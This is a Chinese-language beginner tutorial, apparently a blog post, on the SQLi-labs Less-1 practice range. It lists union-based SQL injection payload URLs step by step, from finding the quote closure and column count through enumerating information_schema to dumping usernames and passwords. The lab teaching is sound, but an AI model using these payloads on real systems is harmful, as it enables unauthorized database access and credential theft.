SQL labs靶场-SQL注入入门

靶场及环境配置参考

一,工具准备。

推荐下载火狐浏览器,并下载harkbar插件(v2)版本。hackbar使用教程在此不做过多描述。

补充:url栏内部信息会进行url编码。

二,SQL注入-less1。

1,判断传参方式。

先输入

http://192.168.61.206:8001/Less-1/?id=1 //查看是否有回显

有回显,说明是get类型的传参。

尝试其他参数,以确认漏洞存在。

http://192.168.61.206:8001/Less-1/?id=2 

2,判断闭合符,闭合所输入的语句,以使得后续的SQL语句溢出,达到运行的目的。

得知,闭合符是单引号。

3,判断有几个字段。

order by:对结果集进行列排序。

在url栏输入:

http://192.168.61.206:8001/Less-1/?id=1'order by 3 --+ 
--+ //注释掉后续的的代码,以让输入的语句的得以执行。

order by 3 不报错。

order by 4 报错,说明此处只有三个字段。

4,查库名。

使用select和 datebase指令,在此处利用union联合查询以获取库名。

http://192.168.61.206:8001/Less-1/?id=-1' union select 1,database(),3 --+

union查询可以select多条语句并用(只能select)可以显示没有的东西。

union:两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

展示空间不够前面会覆盖后面内容,所以接下来用-1,让前面命令执行不成功,以显示后续的内容。

database()为查询库名。

得到数据库名。

5,查询数据库内的表名。

http://192.168.61.206:8001/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+

注意:MySQL自带的几个特殊库.

MySQL自带Information_schema库。

Information_schema库里有两个特殊的表。

表tables记录了库名和表名。

表columns:库里面有什么表,表里面有什么字段。

table_schema:记录了所有库的库名。

table_name.记录了表。

column_name:记录了字段。

6,多次重复此操作(需要改LIMIT),以获得所有表名。

http://192.168.61.206:8001/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' LIMIT 1,1 --+

LIMIT1,表示从第二行开始取,取一行。

7,得到字段名。

http://192.168.61.206:8001/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

8,得到敏感信息。

http://192.168.61.206:8001/Less-1/?id=-1' union select 1,2,group_concat(username , password) from users--+

三,总结。

sql注入为入门级的漏洞,现如今已经极为少见,但仍有其典型性。从此开始,便正式进入了黑客的大门。

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值